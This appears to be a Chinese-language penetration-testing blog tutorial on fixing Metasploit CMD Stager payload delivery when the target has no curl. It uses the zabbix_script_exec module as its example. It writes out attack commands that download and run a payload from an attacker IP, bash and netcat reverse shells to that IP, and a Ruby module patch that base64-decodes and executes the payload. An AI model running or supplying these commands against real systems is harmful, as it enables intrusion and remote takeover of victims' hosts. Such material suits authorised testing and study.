1. 背景与问题场景

在渗透测试或漏洞利用中，Metasploit（MSF）是业界最常用的框架之一。
其许多 RCE（远程代码执行）模块在落地 payload（如 Meterpreter 或反弹 shell）时，采用了 CMD Stager 机制，通过常见的下载器（curl、wget、tftp、fetch 等）从攻击者的 HTTP 服务下载二进制文件并执行。

例如，在利用 exploit/multi/http/zabbix_script_exec 模块时，默认的自动模式（CMDSTAGER::FLAVOR=auto）可能会生成这样的命令：

curl -so /tmp/KvENJxdp http://192.168.56.10:9999/CaxnZl7dATG9W; chmod +x /tmp/KvENJxdp; /tmp/KvENJxdp; rm -f /tmp/KvENJxdp

这条命令的逻辑很简单：

使用 curl 从攻击者主机（192.168.56.10:9999）下载 payload 到 /tmp/KvENJxdp。
chmod +x 赋予执行权限。
执行该文件，建立回连（如 reverse_tcp）。
删除文件，清理痕迹。

问题是：
如果目标主机缺少 curl（或其他下载器），这条命令将直接失败，利用中断。

2. 为什么会失败？——CMD Stager 原理

在这里插入图片描述

在这里插入图片描述
【如上图，成功创建了script，但利用失败】

Metasploit 的 Command Stager（命令分段器）是一个用于在目标上分步传输并执行 payload 的抽象模块。
它会根据目标系统的可用工具，选择一种“传输方式”，这些方式被称为 Flavor。

常见的 Linux 系统 flavor：

curl
wget
tftp
fetch
ftp_http
echo（通过 echo 写出二进制文件）
printf
bourne（直接传输命令）

Windows flavor：

psh_invokewebrequest（PowerShell）
certutil
bitsadmin

工作流程：

模块执行前，会探测目标可能的工具（某些模块会主动探测，某些直接假设存在）。
选择第一个可用的 flavor（auto 模式下由框架自动决定）。
构造对应的命令行字符串。
在目标上执行该命令，完成 payload 落地。

当目标既没有 curl 也没有 wget，且模块又没有降级到 echo/printf 等无下载器模式，就会直接报错或无响应。

3. 解决思路总览

要解决无 curl 环境下的利用失败问题，有几条路线可选：

方案 1：手动指定其他可用下载器

如果目标上有 wget 或 tftp，可以在 MSF 中手动设置：

set CMDSTAGER::FLAVOR wget

或：

set CMDSTAGER::FLAVOR tftp

这样 MSF 会用你指定的工具生成命令。

在这里插入图片描述
【如图，改为wget，利用成功】

方案 2：使用 `echo` / `printf` 无下载器写文件

MSF 内置的 echo flavor 会将 payload 切分为多行 Base64/十六进制块，然后用 echo 或 printf 写到文件中：

echo -ne '\x7f\x45\x4c\x46...' > /tmp/payload
chmod +x /tmp/payload
/tmp/payload

只要目标有最基本的 shell 内置命令即可。

设置方法：

set CMDSTAGER::FLAVOR echo

方案 3：完全跳过文件落地，直接反弹 Shell

如果目标机支持 bash 或 nc，可以直接运行一行反弹命令：

bash -i >& /dev/tcp/192.168.56.10/4444 0>&1

或：

mkfifo /tmp/f; nc 192.168.56.10 4444 < /tmp/f | /bin/sh > /tmp/f 2>&1; rm /tmp/f

在 MSF 中可以用：

set PAYLOAD cmd/unix/reverse_bash

或直接用 cmd/unix/generic 手工写反弹命令。

方案 4：修改模块源码，自定义 CMD Stager

本文提到的 zabbix_script_exec，源码在：

modules/exploits/multi/http/zabbix_script_exec.rb

你可以把 execute_cmdstager 部分改成自动 fallback 到 echo/base64 写文件方式，这样在缺少下载器时也能执行。

示例修改：

def execute_cmdstager(opts = {})beginsuperrescueprint_status("Falling back to echo-based payload delivery")execute_command("echo '#{Rex::Text.encode_base64(payload.encoded)}' | base64 -d > /tmp/p; chmod +x /tmp/p; /tmp/p")end
end

4. 各方案的优劣对比

方案	优点	缺点	适用场景
手动指定下载器	修改少，执行快	仍依赖外部下载器	目标有其他下载工具
`echo` / `printf` 写文件	不依赖下载器	对大文件执行慢，可能超时	目标只有最基本 shell
直接反弹 Shell	无文件落地，速度快	不适合长期驻留	临时命令执行
修改模块源码	一次改好，后续复用	需要懂 Ruby，维护成本	同类环境经常遇到

需要注意的是，本文演示的 exploit/multi/http/zabbix_script_exec 这个模块本身并没有实现 echo 这种无下载器的 CMD Stager flavor。
所以即使 Metasploit 框架本身支持 echo/printf，这个模块也没法直接用，因为它的 Targets 和 execute_cmdstager 里只注册了有限几种 flavor（auto, tftp, wget, curl, fetch, lwprequest, psh_invokewebrequest, ftp_http）。